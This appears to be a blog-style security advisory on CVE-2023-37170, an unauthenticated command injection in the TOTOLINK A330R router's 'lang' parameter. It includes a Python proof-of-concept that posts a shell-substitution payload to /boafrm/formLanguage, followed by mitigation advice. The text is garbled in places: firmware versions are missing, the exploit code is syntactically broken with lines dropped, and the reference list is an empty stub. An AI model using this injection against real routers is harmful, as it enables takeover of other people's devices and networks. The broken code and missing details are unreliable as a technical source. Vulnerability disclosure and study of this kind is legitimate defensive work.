In this post, we'll be taking a closer look at the recently disclosed CVE-2023-37170 vulnerability, which affects the TOTOLINK A330R router, specifically version This vulnerability allows an attacker to execute arbitrary code remotely without any authentication, potentially allowing them to compromise the vulnerable device and its network.

Vulnerability Details

The vulnerable component in question is the setLanguageCfg function, which is responsible for handling the language configuration of the router. The function accepts a parameter called "lang," which is passed to it without any proper input validation or escaping. This lack of input validation makes it possible for an attacker to inject arbitrary code that will be executed by the router.

TOTOLINK A330R routers with the firmware version are affected by this vulnerability.

To demonstrate the impact of this vulnerability, we will provide a proof-of-concept (PoC) exploit. The following code snippet is an example of how the exploit can be constructed:

import requests


def exploit(ip):
    url = f"http://{ip}/boafrm/formLanguage";
    payload = {
        "language": "english",
        "lang": "$(COMMAND_TO_EXECUTE)"
    r =, data=payload)

    if r.status_code == 200:
        print("Exploit completed successfully")
        print("Exploit failed")

if __name__ == "__main__":

In this example, the Python script sends an HTTP POST request to the target router's /boafrm/formLanguage endpoint, injecting an arbitrary command within the "lang" parameter.

Please note that this PoC exploit is for educational purposes only and should not be used to exploit devices on networks that you do not own or have explicit permission to test.

1. CVE-2023-37170 - TOTOLINK A330R Unauthenticated RCE


These sources provide detailed information about the vulnerability, its impact, and responsible disclosure timeline.

Impact and Risk Assessment

An attacker that successfully exploits this vulnerability could execute arbitrary code on the affected router, potentially gaining full access to the device and the network it manages. They could exfiltrate sensitive data, manipulate settings, or perform further attacks on other connected devices. Due to the lack of authentication required to execute the exploit, the risk associated with this vulnerability is high.

To mitigate the risk associated with this vulnerability, we highly recommend the following actions

1. Update the firmware of your TOTOLINK A330R routers to a version that addresses the vulnerability (if available). Keep checking for firmware updates regularly.

2. As a temporary mitigation, users can restrict external access to the router's web interface and only allow trusted devices to interact with it. This helps to reduce the potential attack surface.

3. Regularly monitor any suspicious activities on your network and investigate any unusual device behavior.

4. Always be cautious when clicking on links in emails and other online communications, as they may contain malicious content.


This post has detailed the CVE-2023-37170 vulnerability affecting the TOTOLINK A330R router, including a code snippet demonstrating a proof-of-concept exploit. It is crucial for users of affected devices to take the appropriate steps to mitigate the risk associated with this vulnerability and stay up to date on firmware updates and security patches.


Published on: 07/07/2023 20:15:00 UTC
Last modified on: 07/13/2023 17:31:00 UTC